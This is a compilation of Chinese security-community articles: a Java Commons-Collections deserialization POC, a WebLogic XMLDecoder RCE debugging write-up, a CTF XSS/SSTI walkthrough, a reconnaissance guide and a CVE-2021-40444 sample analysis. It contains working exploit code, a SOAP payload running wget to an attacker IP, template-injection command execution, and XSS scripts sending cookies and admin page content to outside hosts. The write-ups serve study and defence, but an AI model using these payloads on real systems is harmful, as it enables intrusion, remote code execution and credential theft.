我们可以看到 **get方法**
中如果没有找到key的键值，就会调用`factory.transform(key);`,这里的factory变量属于Transformer接口类并且具体使用哪一个类来实例化对象是我们可控的。也就可以形成调用链。
那么如何去自动调用get()方法,跟进`TiedMapEntry`类
public TiedMapEntry(Map map, Object key)
{
this.map = map;
this.key = key;
}
//toString方法
public String toString()
{
return getKey() + "=" + getValue();
}
//getKey方法
public Object getValue()
{
return this.map.get(this.key);
}
在`TiedMapEntry`中，构造时传入使用`LazyMap`，调用`tostring()`方法，然后紧接着就会调用LazyMap类对象的get方法。
那么到目前为止，我们仍然需要一个类可以在反序列化重写readObject()时可以自动调用toString方法。完整的利用链就可以形成。
##### BadAttributeValueExpException类
看到`BadAttributeValueExpException`的`readObject`反序列化方法，调用了`toString`方法。
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
其中 `valObj` 为构造的 `TiedMapEntry` 类的对象，可以看到其中调用了该类的 `toString` 函数。
所以，我们只要构造一个`BadAttributeValueExpException`对象，并注入我们精心制造的`TiedMapEntry`对象。就可在以在反序列时，执行任意命令。
##### 最后的POC
public class Exec {
public static BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
Class<? extends Transformer> aClass = transformerChain.getClass();
Field iTransformers = aClass.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
return val;
}
public static void main(String[] args) throws Exception {
BadAttributeValueExpException calc = getObject("calc");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(calc);//序列化对象
objectOutputStream.flush();
objectOutputStream.close();
byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object o = objectInputStream.readObject(); //将byte数组输入流反序列化
}
}
#### 参考文章
<https://b1ue.cn/archives/166.html>
<https://www.mi1k7ea.com/2019/02/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/>
<https://www.secpulse.com/archives/137940.html>
<https://shaobaobaoer.cn/java-an-quan-xue-xi-bi-ji-si-apache-commons-collectionsfan-xu-lie-hua-lou-dong/>
<https://security.tencent.com/index.php/blog/msg/97>
<https://www.xmanblog.net/java-deserialize-apache-commons-collections/>
<https://lzwgiter.github.io/Apache-Commons-Collections%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/>
<https://xz.aliyun.com/t/4558#toc-0> | 社区文章 |
# CNTA-2019-0014——WebLogic反序列化XML注入
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、原理
### （一）概述
2019年4月17日，国家信息安全漏洞共享平台（CNVD）收录了由中国民生银行股份有限公司报送的Oracle WebLogic
wls9-async反序列化远程命令执行漏洞（CNVD-2019-11873）。攻击者利用该漏洞，可在未授权的情况下远程执行命令。
### （二）CNTA-2019-0014
部分版本WebLogic中默认包含的wls9_async_response包，为WebLogic
Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷，攻击者可以发送精心构造的恶意 HTTP
请求，获得目标服务器的权限，在未授权的情况下远程执行命令。
该漏洞的影响版本有WebLogic 10.X和WebLogic 12.1.3。
### （三）原理
**1.原理**
WorkContextXmlInputAdapter中对输入的XML未进行有效检查，可导致任意命令执行。
先简单看下Java中xml的结构，来个简单的demo，
import java.beans.XMLEncoder;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.util.HashMap;
public class DemoOut {
public static void main(String[] args) throws FileNotFoundException {
HashMap<Object, Object> map = new HashMap<>();
map.put("arr", new String[3]);
XMLEncoder e = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("demo.xml")));
e.writeObject(map);
e.close();
}
}
得到的demo.xml如下，
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder">
<object class="java.util.HashMap">
<void method="put">
<string>arr</string>
<array class="java.lang.String" length="3"/>
</void>
</object>
</java>
这其中，object标签表示对象；void标签表示函数调用、赋值等操作， 里面的method 属性指定方法名称； array标签表示数组，
里面的class属性指定具体类。
我们再来读取一下这个xml文件，
import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
public class DemoIn {
public static void main(String[] args) throws FileNotFoundException {
XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("demo.xml")));
Object demo = d.readObject();
d.close();
}
}
跟进在调试这段代码的过程中，可以看到以下两个比较有价值的过程点，
一是此处生成一个表达式对象var5，其中会调用HashMap的put将arr给put进去，
最终反序列化恢复成为一个我们最开始构建的对象，
我们可以想象，此处的void标签可以表示HashMap对象的put()函数的调用，也应该可以标识其它类的其它函数的调用。
比如，如果我们将demo.xml中的对象由HashMap改为可以执行命令的函数，再赋予适当的参数，就有可能执行恶意功能。
有如下这般xml一个，
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
再执行刚才的java，
可以看到calc已经被执行。
我们在刚才的Expression处下断，
当执行完create()之后，即会弹出计算器。
也就是说，只要能够传入合适的XML，且顺利被目标的readObject调用，就有可能成功实现RCE。
## 二、调试
### （一）环境搭建
选用vulhub-master/weblogic/CVE-2017-10271
docker-compose up -d
将其中的Oracle文件夹拷出，
根据提示，只将/wlserver_10.3/server/lib导入idea即可，用到的主要是wlserver_10.3\server\lib\wseeclient.jar!\weblogic\wsee\server\servlet\BaseWSServlet.class
### （二）复现
Afant1大佬的payload如下，
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.43.64:7001
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
Content-Length: 768
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>wget 192.168.43.134:9898</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
开启http服务查看效果，
发送，
http.server收到请求，复现成功。
### （三）调试
调用栈
readObject:203, XMLDecoder (java.beans)
readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea)
readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi)
receiveRequest:179, WorkContextLocalMap (weblogic.workarea)
receiveRequest:163, WorkContextMapImpl (weblogic.workarea)
handleRequest:27, WorkAreaServerHandler (weblogic.wsee.workarea)
handleRequest:141, HandlerIterator (weblogic.wsee.handler)
dispatch:114, ServerDispatcher (weblogic.wsee.ws.dispatch.server)
invoke:80, WsSkel (weblogic.wsee.ws)
handlePost:66, SoapProcessor (weblogic.wsee.server.servlet)
process:44, SoapProcessor (weblogic.wsee.server.servlet)
run:285, BaseWSServlet$AuthorizedInvoke (weblogic.wsee.server.servlet)
service:169, BaseWSServlet (weblogic.wsee.server.servlet)
...
下面分两段看一下流程。
##### 1.BaseWSServlet.service->HandlerIterator.handleRequest
在service下断点，发送payload，断下，
由于没有强制使用HTTPS，可以顺利通过下面这些步骤，
接下来将生成一个AuthorizedInvoke，
这个函数的最后，调用了AuthorizedInvoke.run()，
接下来我们继续跟进run()。
run中生成了processerList，当var2为SoapProcessor时，跟进process()函数，
我们发送的是POST类型的数据包，此处顺利进入handlePost()，
跟进handlePost，var7负责建立连接相关事宜，
跟进invoke，
我们可以看到，var1负责与攻击机的连接，
接下来声明了一个Dispatcher，并set了connection和port的相关属性，然后调用了dispatch，
dispatch有发送、分派之意，正常来讲，对于一个访问，WebLogic应该会有正常的dispatch，至于载荷是不是合理，应该交由后面的逻辑处理部分来处理，我们跟进之。
dispatch开头的异常应该不能阻断前进的步伐，
向下看，到第70行，handleRequest即为处理请求。
**2.HandlerIterator.handleRequest- >XMLDecoder.readObject**
在进入HandlerIterator.handleRequest之前，我们先看一下HandlerChain的内容，
可以看到是21个handler，
跟进handleRequest
可以看到正在遍历刚才的handlers，
我们设置一个条件断点，在index为16（对应WorkAreaServerHandler）时断下，
运行到handleRequest(var3)，
跟进之，可以看到此处的var5在从var4读取xml输入，
详细看下，此时的几个变量信息，
可以看到，正是我们的payload，此处我们的payload还是很完好的，也没有经过任何检查。
跟进XMLDecoder的生成，这是个routine了。
跟进receiveRequest，调用了WorkContextLocalMap的receiveRequest。
接下来就进入了熟悉的流程，到此，没有见到有效的防护，
readEntry()里调用了readUTF()，
readObject在此展现。
再继续执行即是触发。
## 三、收获与启示
CNTA-2019-0014和CVE-2017-10271具有较高的相似性，都是在某一点上对用户发送的XML缺乏合理的检查，最终导致RCE。
## 参考链接
<https://www.cnblogs.com/afanti/p/10792982.html>
<https://xz.aliyun.com/t/4895>
<https://www.cnvd.org.cn/webinfo/show/4989> | 社区文章 |
# 中秋忆一道XSS题目
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
国庆中秋期间闲的发呆，在整理之前做过的题目的时候，发现了一道当时被非预期的XSS题目，因为当时是被非预期所以拿到了root权限，本地完整的复现了当时的环境，整个题目解下来还是能学到一些知识的，如果不是被非预期感觉题目质量还是不错的。最后写成文章分享给大家，大佬们轻喷。
## 0x01 回忆题目功能
原题 ：湖湘杯 web Xmeo
### 0x1 登陆注册界面
简洁的登陆界面，拥有注册和登陆功能，注册时用户名不能重复。
### 0x2 添加修改查看描述
这里有个ADD按钮可以添加描述，但是必须选择否才能修改和查看这一点我也不知道是为什么。
修改功能是重新弹出这个界面，然而查看界面则是直接将添加的描述信息打印出来。
### 0x3 联系管理员
按照要求填过所有的空之后会反回 `Submit successfully administrator will read it soon!`
从这个点也能看出来这是个标准的xss题目，但是当时已经拿到了flag，就没在纠结利用xss怎么解这道题目。
## 0x02 非预期解
我们从非预期解开始回忆，当时拿到题目，发现能够查看添加的描述
这时我们可以联想后台的代码逻辑
def show(args):
......
return render_template_string(content)
因为 render_template_string 会渲染模板，将会解析{{}}内的表达式，因此我们可以运用标准的python沙箱逃逸方法执行python
语句并实现任意命令执行
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()')}}
我们通过上述命令获取服务系统的root权限，如下图所示，
下面进入本篇文章的主要内容，通过xss获取其中暗含的flag
## 0x03 利用XSS漏洞获取flag
### 0x1 暗藏玄机
如果不是非预期我还不知道这是道xss题目，通过查看进程了解到其中运行着phantomjs
进程执行着auto.js，auto.js中是标准的phantomjs
模拟浏览器访问，其中flag也在auto.js中包含着，利用模板注入拿flag也是通过该文件获取。
发现这个之后我心里一直有个梗，想把它用正解解出来。
### 0x2 揭开面纱
**1\. js安全防护**
好了我开始在中秋佳节想着这个题目怎么做，一开始想着通过image标签等常见xss技巧获取管理员cookie，比如如下方法
var img = document.createElement("img");
img.src = "http://1.1.1.1/log?"+escape(document.cookie);
document.body.appendChild(img);
发现根本不好使，之后找到了罪魁祸首，在js中禁用了一些关键函数
常见的XMLHttpRequest ，image标签等都被禁用了，回头来又发现了其他防护
**2\. 浏览器安全防护**
响应头中返回了`Content-Security-Policy: script-src 'self';`
这就意味着该网站不允许内联脚本执行，也就是直接嵌套在`<script></script>`中的代码不被执行，而`<script
src="http://ip"></script>` src中的代码将被执行，而且必须保证是同源网站。
这个目的就很明显了，通过添加查看描述，可以在同源网站上添加任意javascript代码，这为之后的xss打下了基础。
### 0x3. 柳暗花明
尝试获取了当前页面的cookie
window['locat'+'ion'].href = "http://1.1.1.1/?"+document.cookie;
在向管理员提交留言时要注意，必须是127.0.0.1的ip，在复现的时候吃了一大亏，一直没成功，最后才发现时同源策略导致script代码没有执行。
</div>
<script src=http://127.0.0.1:7443/show/591b111c-096d-11eb-97c4-0242ac110003></script>
<div>
无意中获取到了一个hit 尝试获取/admin 中的页面内容，必须使用ajax的方法读取其中的网页内容
### 0x4. 层层递进
既然有这么多防护，那么就想办法去绕过禁用了img和XMLHttpRequest，
这个其实在之前的ctf题目中有出现过比较常见的绕过方法是，利用iframe子窗口中的函数。
var ifm = document.createElement('iframe');
ifm.setAttribute('src','/admin/');
document.body.appendChild(ifm);
window.XMLHttpRequest = window.top.frames[0].XMLHttpRequest;
var xhr = new XMLHttpRequest();xhr.open("GET", "http://127.0.0.1:7443/admin/",false);
xhr.send();
c=xhr.responseText;
window.location.href="http://192.168.0.134:8889/?c="+c;
利用js代码创建iframe 标签设置其中的网页url，利用iframe中的XMLHttpRequest 发送请求给admin
页面并获取页面内容通过location.href 发送至服务器。注意这里的后台请求url为 `http://127.0.0.1:7443/admin/`
一定要带/因为flask强制识别
因为片段太长所以通过如下方法进行绕过
获取了新的hint
This website also have another page named mysecrecy_directory......
## 0x5. 终极之战
这个目的就很清楚了获取mysecrecy_directory目录下的cookie即可
var f= document.createElement('iframe');
f.setAttribute('src','/admin/mysecrecy_directory');
document.body.appendChild(f);
f.onload = function(){
var a= f.contentWindow.document.cookie;
location.href = "http://192.168.0.134:8889/?"+a;}
和之前一样，修改src为/admin/mysecrecy_directory，在iframe加载的同时获取iframe中的cookie并利用href跳转获取flag
## 0x04 总结
总算是了结了心结，同时总结了xss的绕过技巧，绕过js
delete禁用、绕过csp安全策略、利用xss从127.0.0.1访问网站并获取内容，利用xss读取当前网站任意url
cookie等技术，这个十一收获还是有的。 | 社区文章 |
# 微服务下的信息搜集（II）
我是掌控安全的咸鱼-魔术手，上次讲了 **_微服务下的信息收集(一)_** ，这次来水一下 **_微服务下的信息收集(II)_** 。
上次介绍了一个公司的站点可能由各个独立在不同服务器上的服务组成，所以我们需要想尽办法找到更多的域名；为了更好的测试我们也需要找到更多的`目录`和`参数`。上次介绍可以从目标的微信小程序搜集域名，也介绍了一款可以帮助我们收集目标`js`里子域名和url的工具`JSFinder`。这次我们继续介绍如何收集更多的资料，以下所有内容都是围绕同一个站点进行，目标域名`abc.com`，但是因为一些原因，真实站点截图无法放出，部分截图为某公益src项目信息收集截图。
## 相关域名发现
1. 备案查询
绝大多数网站都是有备案信息的，可以通过备案信息查询。如下图，通过[备案查询](http://icp.chinaz.com/),我们找到另一个站点`xyz123.com`(该截图来自对某公益src站点的采集，并非原目标)。
2. 证书透明度公开日志枚举
证书透明度（Certificate
Transparency,CT）是证书授权机构（CA）的一个项目，证书授权机构CA会将他们发布的每个SSL/TLS证书发布到公共日志中。一个SSL/TLS证书通常包含域名、子域名和邮件地址，它们也经常成为攻击者非常希望获得的有用信息。因为目标是个大型站点，用这种方法找到的几率比较大。如下图，在`[crt.sh/](https://crt.sh/)`中查询(该截图来自对某公益src站点的采集，并非原目标)：
3. dns等
这里还有很多方法，太过繁琐，直接上工具，这次用的工具是[`oneforall`](https://github.com/shmilylty/OneForAll)，功能很多，各位感兴趣可以自己研究。(该截图来自对某公益src站点的采集，并非原目标)
通过上面的收集，除了发现很多有意思的子域名，而且搜索到了如`xyz123.com`和`ddba.com`等和目标相关的域名。
## 服务划分
对上面找到的域名逐个访问，对得到的内容进行简单处理，发现目前搜集到的服务(能访问的域名)主要有`展示站`，`综合运营管理平台`和`广告服务`。找到他们所对应的服务器，发现每个服务都至少都包含2台服务器，如图：
在上面的所有域名和IP中，有两个挺有趣的，一个是`office.abc.com`,一个是`xxxxx.abc.com`,为什么有趣呢，一是因为名称`office`听起来就像是办公服务，另一个是IP，其余的服务器IP都是`11*.*.*.*`或者是`14*.*.*.*`，就他俩特殊，所以这俩待会要重点关照。
在上篇文章中说过，微服务是由很多个独立的服务组合而成的，而上面收集到的服务看起来不像是所有的服务，毕竟上面是被动的信息收集，搜集的内容有限。假设上面搜集到的服务器是目标的大部分服务器，那么如果目标还有其它服务，我们该怎么办呢？答案是扫描端口。
## 端口扫描
在端口扫描时需要注意的是，因为一台服务器上可能有很多服务，所以这里在扫描的时候需要扫描全部端口，这里使用`nmap -sC -T4 -p
1-65535`重点扫描了那两台服务器，发现了两个有意思的地方，如下：
第二个是一个很厉害的服务，估计是处于开发中，访问页面默认填充账户密码，所以这里不放图了(认怂保平安)。
## 隐私文件探测
在上一篇文章微服务的介绍途中，有一部分是通过git管理的。
于是随手在目标站输入个`abc.com/.git`,得到`403`的反馈。
于是继续随手输入`abc.com/.git/config`
再然后我又顺手输入了很多东西，得到了很多东西，甚至包括开发人员的姓名，邮箱，甚至是内网ip分布和git所在服务器的位置。
## API探测
在上一篇文章中提出可以通过`js`收集`api`的相关信息，但是有些站点使用了`webpack`:
本质上，webpack 是一个现代 JavaScript 应用程序的静态模块打包器(module bundler)。当 webpack
处理应用程序时，它会递归地构建一个依赖关系图(dependency graph)，其中包含应用程序需要的每个模块，然后将所有这些模块打包成一个或多个
bundle。
`webpack`会把所有的`js`信息打包在一起，这样的好处是前后端分离，但同样的，它也会把所有的`api`暴露出来。如下图，直接查看目标源代码：
我们可以逐个点击每个`.js`文件去探寻，这里找到一个`source map`:
通过该`source map`文件可以还原网站原始代码，有两种方法：
1. 使用浏览器自带的解析功能(以火狐举例)
2. 使用工具
> npm install -g source-map-unpack
>
>
>
>
这样我们就可以在里面找到更多的信息。
微服务下的信息收集就是那么有意思，通过逐步探测，如同盲人摸象那样找到每一个服务，然后拼凑出一个整体。这次的站点是一个典型的由微服务构成的，但站点性质特殊，所以收集到的内容都是疯狂脱敏的，各位理解万岁。 | 社区文章 |
本文翻译自：
<https://securingtomorrow.mcafee.com/mcafee-labs/rapidly-evolving-ransomware-gandcrab-version-5-partners-with-crypter-service-for-obfuscation/>
* * *
2018年9月27日，GandCrab勒索软件称发布了V5版本。本文对GandCrab V5版本进行分析。
# GandCrab V5感染
GandCrab V5版本使用了许多机制来感染系统。下图是GandCrab的行为概览。
## entry vector
GandCrab有许多的entry vectors:
* 弱安全的远程桌面连接
* 含有链接或附件的钓鱼邮件
* 含有或下载或启动恶意软件的木马化的合法程序
* RigEK、FalloutEK这样的利用套件
* PowerShell脚本或在PowerShell进程的内存中
* 使用Phorpiex的僵尸网络
与其他勒索软件一样，GandCrab的目标是加密受感染系统上的所有文件，等用户支付赎金后再将这些文件解锁。开发者要求受害者以加密货币的形式支付赎金，因为加密货币难以追踪而且可以快速变现。
恶意软件一般都是打包的，研究人员看到过含有DLL的.exe格式的变种。GandCrab也是一种有效的勒索软件即服务，其运营者可以选择需要的版本。
# V5.0
V5.0版本一共发布过两个版本。
第一个版本由于编译时的重大错误，主要运行在win7及之后的平台上。V5.0利用两个漏洞来进行权限提升。首先检查操作系统的版本和进程的TokenIntegrityLevel类，如果SID
Subauthority是SECURITY_MANDATORY_LOW_RID (0x1000)，并且通过mutex值检查，就尝试执行漏洞利用。
第二个版本是黑客SandboxEscaper今年8月在Twitter和GitHub上发布的漏洞利用：
* GitHub页面为<https://github.com/SandboxEscaper/randomrepo>
* Twitter页面为<https://twitter.com/sandboxescaper>
该漏洞利用尝试使用Windows操作系统处理高级本地过程调用（advanced local procedure call）不当时任务系统（Task
System）的漏洞。GandCrab作者称没有CVE的漏洞利用，但实际上有CVE-2018-8440。该漏洞利用影响win7到win10的服务器。更多参见对CVE-2018-8440的分析。
在V5.0的第一个发布版本中，恶意软件作者用正常的函数调用来写利用代码。因此编译时，二进制文件的IAT充满了调用所需的DLL。而DLL并不存在于Windows
Vista和XP系统中，因此恶意软件不能运行在win7以前的系统中，编译时就会出错。
xpsprint.dll不能运行在Windows XP和Vista中
使用直接调用的漏洞利用
该版本在加密了用户的文件后会发布一个HTML文件，但该文件没有加密用户文件所需的信息，所以该文件是有缺陷的。
第二个发布的版本使用动态调用，并混淆了漏洞利用中的字符串，如下图所示。
使用动态调用和混淆字符串的漏洞利用
第二个漏洞利用涵盖了[CVE-2018-8120](https://www.mcafee.com/enterprise/es-es/threat-center/threat-landscape-dashboard/vulnerabilities-details.cve-2018-8120.html)
，可以在win7、Windows server 2008 R2和Windows server
2008上进行权限提升。因为`system`进程`token`的对象有错误，改变了恶意软件中的`token`，最终导致恶意软件以`system`权限运行了。
执行CVE-2018-8120漏洞利用
恶意软件会检查操作系统的版本和用户的类型，以确定在应用漏洞利用前是否可以获取进程的token提权信息。在一些案例中，是不能成功感染的。比如，在Windows
XP系统中，v5的第二个发布版本可以允许，但是不能加密文件。
研究人员和Lemmou发现了Version
5.0.2中的问题，对注册表做一些修改就可以使恶意软件正常运行，但白帽怎么可以帮黑客修复恶意软件呢。但第二个版本使用的扩展是随机的5个字母，而不是之前版本中看到的`.CRAB`或`.KRAB`扩展。恶意软件会将该信息以二进制数据的形式保存在`ext_data\data`中的一个新注册表中，值为`ext.`。
保存随机扩展名的新注册表记录
恶意软件会在HKEY_LOCAL_MACHINE的根key下创建新的记录。如果用户没有管理权限，就不能成功创建，然后将会将该记录放在HKEY_CURRENT_USER的根key中。文件加密后，一些样本中的该记录会被删除。
## V5.0.1
该版本修复了恶意软件中的一些内部bug，其他没有明显修改。
## V5.0.2
该本比将随机扩展名的长度从5个字符修改为10个，并修复了一些内部bug。文件不能加密漏洞仍未修复。
## 最新版本
本节是对最新版本的GandCrab（10月4日的V5.0.2）恶意软件进行分析。从V5版本开始，恶意软件开始使用两个漏洞利用进行权限提升。
第一个漏洞利用对函数`IsWoW64Process`进行动态调用来检测操作系统运行的32位还是64位。
对含有混淆字符串的IsWoW64Process的动态调用
根据结果，恶意软件有两个嵌入的DLL，用`XOR 0x18`进行简单加密操作。
解密DLL来加载漏洞利用并修复header
恶意软件作者用fuzzing技巧来绕过检测：DLL的前2个字节是垃圾信息，在之后的版本中修复了。
解密和加载漏洞利用后，DLL会在系统中创建一个`mutex`和一些管道来与主恶意软件进行通信。恶意软件会创建一个DLL之后读取的管道，并准备一些字符串作为DLL的`mutex`字符串。
为DLL准备字符串
DLL的这些字符串有`dummy string`（虚拟字符串）。
创建新的mutex并重启进程
恶意软件开始时会检查该`mutex`。函数返回的`1`或`0`却决于是否可以打开`mutex`。然后检查结果，如果`mutex`可以打开，恶意软件就不会检查版本并不会用这两个漏洞利用来进行提权。
打开新mutex来检查是否有必要运行漏洞利用
GandCrab
V4.x版本之后，恶意软件会在之后检查版本。如果是Vista或之后版本，会尝试获取`TokenIntegrityLevel`类并重启二进制文件来提权，并以`runas`应用调用`ShellExecuteExW`。如果系统是Windows
XP，代码就会继续正常流。
并不会为主恶意软件创建`mutex`，`mutex`是为利用漏洞加载的DLL创建的。为了更好地理解，看一下下面的IDA片段：
解释mutex检查和漏洞利用
本版本还修改了桌面墙纸，是在运行时创建的，并用加密文件的扩展填充。勒索信文本或HTML的名为`<extension_in_uppercase>_DECRYPT.
<txt|html>`和机器用户名。
运行时创建新墙纸
检查用户名，如果用户是`SYSTEM`，恶意软件就在墙纸上显示`USER`。
检查墙纸的用户名
在文件夹 `%TEMP%`中创建名为`pidor.bmp`的墙纸：
在temp文件夹创建墙纸
这是墙纸名所用的字符串，检查用户名和格式的字符串：
墙纸名和特殊字符串
最后，对所有用户设置墙纸：
修改墙纸
恶意软件会检查系统语言，解密字符串，并根据系统语言写出对应的勒索信。
# 安全防护
独立研究员Twitter用户[Valthek](https://twitter.com/ValthekOn)创建了一些非常有效的[免疫工具](https://29wspy.ru/reversing.html)，可以预防GandCrab
4.x 到5.0.2不被加密。
免疫工具：<https://29wspy.ru/reversing.html>
对Version 4.x版本，删除影子卷是不可避免的，但至少文件本身是安全的。
对Version
5.x版本，加密文件是可以避免的，但创建和修改墙纸无法避免。恶意软件不能创建随机扩展来加密文件，但是这些随机字符串已经准备好的。如果墙纸在`%TEMP%`文件夹中，运行免疫工具可以移除墙纸。
免疫工具有不同的版本，有的有驻留机制，有的没有驻留机制。有驻留机制的工具在每次运行时，会特殊的文件夹中创建一个随机的文件名并将特殊的随机记录写入注册表中。这样，机器就可以保护免费恶意软件的威胁。 | 社区文章 |
**作者：sunglin@知道创宇404实验室
时间：2021年9月18日**
**前言:**
CVE-2021-40444的披露，引爆了全球的网络安全，虽然最近微软发布了补丁，但是CVE-2021-40444的利用却越发猖狂，本人深入分析了这个漏洞。
## 0x00 0day样本分析
拿到样本的第一时间，便在自己的沙箱环境下面运行了下，并且从网上下载的docx，微软默认会开启保护模式，我这里是本地打开的，基本内容如下，全都是文字内容，基本上没发现什么:
但是在rels的document.xml文件中发现了链接Target="mhtml:http://hidusi.com/e273caf2ca371919/mountain.html!x-usc:http://hidusi.com/e273caf2ca371919/mountain.html"
可以发现其是指向文件的更新链接
从样本库众获取到mountain.html后，我们打开一看，发现全部都混淆了，基本难辨真假，去混淆也比较简单
因为是js代码，随便找个网上去混淆的试试，比如http://jsnice.org/，将混淆的代码粘贴上去后，一键试下
基本代码的轮廓就有了，它所有的字符串都会采用数组var a0_0x127f经过function a0_0x15ec进行拼接与置换
这就很简单了，我通过普通脚本再一次去混淆：
经过简单的静态分析与调试，基本上就是它会去请求服务器获取一个cab文件，并且会通过执行cpl文件去执行一个inf
然后通过样本库获取到这个cab，初步分析这个cab，发现了其解压路径是../championship.inf，并且标志cafile的大小是0x415c00，cab文件格式[1]对应如下
最后将恶意的url改成我们自己搭建的http server，之后成功复现样本攻击环境，并且捕捉到了样本通过rundll32执行了命令
## 0x01 cve-2021-40444漏洞的分析与利用
cve-2021-40444的poc很快公开在了github[2]上，poc的使用很简单,通过sudo python3 exploit.py host
80开启简单的http server服务器，python3 exploit.py generate test/calc.dll
ip生成包含有漏洞的docx：
假如我们现在有一个正常的docx，可以通过以下添加稍加修改，就成了可以包含cve-2021-40444漏洞的docx了
## 0x02 cve-2021-40444的补丁对比
通过ProcessMonitor监控我们可以获得其创建和读取cab文件的行为，其调用堆栈如下：
9月14号，微软发布了cve-2021-40444的补丁，经过补丁分析发现，urlmon.dll模块的catDirAndFile对路径验证做了修改,将'/'替换成了'\\\',防止路径遍历：
## 0x03漏洞调试
调试之前，我们首先了解下微软对cab文件的api处理如下https://docs.microsoft.com/en-us/windows/win32/api/fdi/：
这些api包括了对cab文件的解析和读写操作等，urlmon模块通过调用cabinet模块中的这些api来处理cab文件的
首先docx触发get请求后会通过mshtml模块来处理，并且对cab文件的处理将会进入urlmon,之后在urlmon!GetSupportedInstallScopesFromFile这个api开始处理cab文件：
获取到C:\Users\l\AppData\Local\Microsoft\Windows\INetCache\IE\9FFFIV4G\word[1].cab先通过GetExtnAndBaseFileName去判断文件后缀名是不是cab：
然后通过CreateUniqueCabTempDir创建临时文件夹，比如我这里是C:\Users\l\AppData\Local\Temp\Cab369A，进入api
ExtractInfFile后，将会继续调用Extract，在Extract将会第一次调用到FDICreate[3]和FDICopy[4],来获取cab的信息
FDICreate主要是对其他读写api等进行初始化操作：
而FDICopy主要就是提取cab文件的信息了
进入CABINET!FDICopy后将会调用LoginCabinet来提取cab的0x24大小的head信息，比如包括对头部MSCF标志的判断：
之后将会进入CABINET!LoginCabinet、CABINET!FDICallEnumerate分别对应信息FNFDINOTIFY的fdintCABINET_INFO、fdintENUMERATE，再一次进入urlmon!fdiNotifyExtract后获取CFFILE
file的信息，而对应的标志是0x02：
获取到初始化结构体后将会在urlmon!ExtractInfFile调用urlmon!ExtractOneFile：
而在urlmon!ExtractOneFile中将会给(a4+0x202)赋值结构体lpsz，将会确保在调用urlmon!NeedFile成功返回：
之后将会继续以标志fdintCOPY_FILE(0x02)继续调用urlmon!fdiNotifyExtract，继续调用urlmon!catDirAndFile继续路径字符串格式化，而我们传入的inf路径是C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf
最后退出urlmon!catDirAndFile将会在urlmon!fdiNotifyExtract中调用Win32Open：
